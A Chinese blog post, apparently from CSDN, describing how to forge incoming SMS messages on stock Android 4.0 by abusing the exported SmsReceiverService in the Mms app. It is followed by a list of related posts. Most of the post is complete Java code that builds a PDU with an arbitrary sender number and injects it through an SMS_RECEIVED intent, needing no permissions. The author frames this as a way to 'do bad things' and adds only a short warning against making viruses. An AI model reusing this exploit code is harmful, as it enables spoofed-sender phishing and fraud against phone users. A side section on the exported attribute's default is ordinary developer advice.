导读:本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。

android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

原生android4.0系统中,Mms.apk的manifest有这样一段

Xml代码  

    <service android:name=".transaction.SmsReceiverService"  android:exported="true" />  

android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

Java代码

    private static void createFakeSms(Context context, String sender,  String body) {  byte[] pdu = null;  byte[] scBytes = PhoneNumberUtils  .networkPortionToCalledPartyBCD("0000000000");  byte[] senderBytes = PhoneNumberUtils  .networkPortionToCalledPartyBCD(sender);  int lsmcs = scBytes.length;  // 时间处理,包括年月日时分秒以及时区和夏令时  byte[] dateBytes = new byte[7];  Calendar calendar = new GregorianCalendar();  dateBytes[0] = SmsUtil  .reverseByte((byte) (calendar.get(Calendar.YEAR)));  dateBytes[1] = SmsUtil  .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  .get(Calendar.DAY_OF_MONTH)));  dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  .get(Calendar.HOUR_OF_DAY)));  dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  .get(Calendar.MINUTE)));  dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  .get(Calendar.SECOND)));  dateBytes[6] = SmsUtil  .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  try {  ByteArrayOutputStream bo = new ByteArrayOutputStream();  bo.write(lsmcs);// 短信服务中心长度  bo.write(scBytes);// 短信服务中心号码  bo.write(0x04);  bo.write((byte) sender.length());// 发送方号码长度  bo.write(senderBytes);// 发送方号码  bo.write(0x00);// 协议标示,00为普通GSM,点对点方式  try {  String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  Class<?> cReflectedNFCExtras = Class  .forName(sReflectedClassName);  Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  "stringToGsm7BitPacked", new Class[] { String.class });  stringToGsm7BitPacked.setAccessible(true);  byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  body);  bo.write(0x00); // encoding: 0 for default 7bit  bo.write(dateBytes);  bo.write(bodybytes);  } catch (Exception e) {  Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);  // 下面是UCS-2编码的处理,中文短信就需要用此种方式  bo.write(0x08); // encoding: 8 for UCS-2  bo.write(dateBytes);  bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的  // 源码具体位置在  // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java  }  pdu = bo.toByteArray();  } catch (IOException e) {  Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);  }  // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!  Intent intent = new Intent();  intent.setClassName("com.android.mms",  "com.android.mms.transaction.SmsReceiverService");  intent.setAction("android.provider.Telephony.SMS_RECEIVED");  intent.putExtra("pdus", new Object[] { pdu });  intent.putExtra("format", "3gpp");  context.startService(intent);  }  public static byte reverseByte(byte b) {  return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);  }  

我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

Java代码

    // User Data (and length)  byte[] userData;  try {  if (encoding == ENCODING_7BIT) {  userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,  languageTable, languageShiftTable);  } else { //assume UCS-2  try {  userData = encodeUCS2(message, header);  } catch(UnsupportedEncodingException uex) {  Log.e(LOG_TAG,  "Implausible UnsupportedEncodingException ",  uex);  return null;  }  }  } catch (EncodeException ex) {  // Encoding to the 7-bit alphabet failed. Let's see if we can  // send it as a UCS-2 encoded message  try {  userData = encodeUCS2(message, header);  encoding = ENCODING_16BIT;  } catch(UnsupportedEncodingException uex) {  Log.e(LOG_TAG,  "Implausible UnsupportedEncodingException ",  uex);  return null;  }  }  

先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码

下面附上encodeUCS2代码

Java代码

    /** * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if * necessary *  * @return * @throws UnsupportedEncodingException */  public static byte[] encodeUCS2(String message, byte[] header)  throws UnsupportedEncodingException {  byte[] userData, textPart;  textPart = message.getBytes("utf-16be");  if (header != null) {  // Need 1 byte for UDHL  userData = new byte[header.length + textPart.length + 1];  userData[0] = (byte) header.length;  System.arraycopy(header, 0, userData, 1, header.length);  System.arraycopy(textPart, 0, userData, header.length + 1,  textPart.length);  } else {  userData = textPart;  }  byte[] ret = new byte[userData.length + 1];  ret[0] = (byte) (userData.length & 0xff);  System.arraycopy(userData, 0, ret, 1, userData.length);  return ret;  }  

现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。

不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……

另外值得一提是android:exported这个属性

我们可以在android官方文档中看到如下说明

http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProviderreducing default attack surface for applications.

这意味着什么呢?

之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃

这是时候,我们就必须在manifest文件中显式给export赋值为true

之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里

看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了

下面是一些相关内容

GSM 03.38 from Wikipedia

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

android安全漏洞(八)伪造短信(利用原生android4.0漏洞)相关推荐

  1. android安全问题(八)伪造短信(利用原生android4.0漏洞)

    导读:本文利用android4.0的一个原生漏洞来伪造短信.无须声明任何权限即可伪造发送方为任何号码的短信给用户. android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之 ...

  2. Android 伪造短信

    //伪造短信到系统信箱private static void createFakeSms(Context context, String sender,String body) {byte[] pdu ...

  3. android 拨打电话与发送短信

    通过调用android系统提供的电话与短信功能,可以简单的实现发送短信,拨打电话,但是必须在AndroidManifest.xml里面配置相应权限,定位到 1 <application 2 3 ...

  4. android 自动发彩信,Android编程实现定时发短信功能示例

    本文实例讲述了Android编程实现定时发短信功能.分享给大家供大家参考,具体如下: 第一,要实现发短信的功能,必须要用到android系统中发短信的权限,即在AndoridManifest.xml中 ...

  5. 短信验证码安全常见逻辑漏洞

    短信验证码安全常见逻辑漏洞 声明:此文转自http://www.lx598.com/hangyedongtai/978.html (短信验证码安全常见漏洞) 短信验证码常被用于网站用户注册.账户安全登 ...

  6. android+发短信示例,Android编程实现定时发短信功能示例

    本文实例讲述了Android编程实现定时发短信功能.分享给大家供大家参考,具体如下: 第一,要实现发短信的功能,必须要用到android系统中发短信的权限,即在AndoridManifest.xml中 ...

  7. Android开源项目学习 | QKSMS短信app

    -- 作者 谢恩铭 转载请注明出处 最近发现一个Android的开源项目,还挺不错的.是个发短信的app,在Google Play上的下载量达到近40万. qksms Google Play qksm ...

  8. Android 获取通话记录和短信内容

    Android 获取通话记录和短信内容 一.获取通话记录 1.权限声明,需要在Manifest.xml文件中声明权限(读取通话记录权限): <uses-permission android:na ...

  9. Android 类似手机接收到短信桌面图标改变

    Android 类似手机接收到短信桌面图标改变 求给点思路 谢谢!!!

最新文章

  1. Access保留关键字
  2. 【面试招聘】双非渣硕的秋招路
  3. 奥特曼系列ol光元在哪个服务器,奥特曼系列ol光元怎么合理使用
  4. Android Studio使用心得
  5. ios时间相差多少天_上海自驾拉萨,走川进青出,应如何规划线路?需要多少天时间?...
  6. Jupyter的安装和基本使用
  7. clocks_per_sec 时间不正确_壁挂炉不用了怎么关?壁挂炉正确的关闭方法
  8. Spring框架(下)JdbcTemplate、声明式事务管理
  9. 前端基础入门之css less
  10. Android recovery分区表
  11. 多系统启动菜单的修复EasyBoot
  12. Strategy模式简述
  13. 图片+文案(在图片上)
  14. js使用indexof等方法时忽略大小写敏感
  15. openwrt sdk下交叉编译aria2c
  16. idea整合gitte团队协作开发项目
  17. 人工神经网络技术及应用,人工神经网络最新应用
  18. C#中英文混合朗读文本代码
  19. 微软群集MSCS系统介绍
  20. 天涯论坛关闭发帖!中国互联网的青春没了;iPhone 15 将全系支持灵动岛;美团成立机器人研究院 |极客头条

热门文章

  1. 【C++】PAT乙级:1012 数字分类 (20 分)
  2. 5分钟完成核磁共振检查,Facebook的AI技术现在还经不住考验
  3. Some projects cannot be imported because their project description file is corrupted
  4. 基于浮云E绘图源码定制开发网络状态图(拓扑图),关联业务对象,并动态更新
  5. 在linux下安装xp系统
  6. Android根据byte数组,生成图片,图片名字以当前时间作为名字
  7. kindle所支持的格式
  8. sql c语言api,SQL Anywhere C API 支持
  9. 7天入门数据库 day23 - 数据表的CURD
  10. 儿童在未来游戏中的监管与保护趋势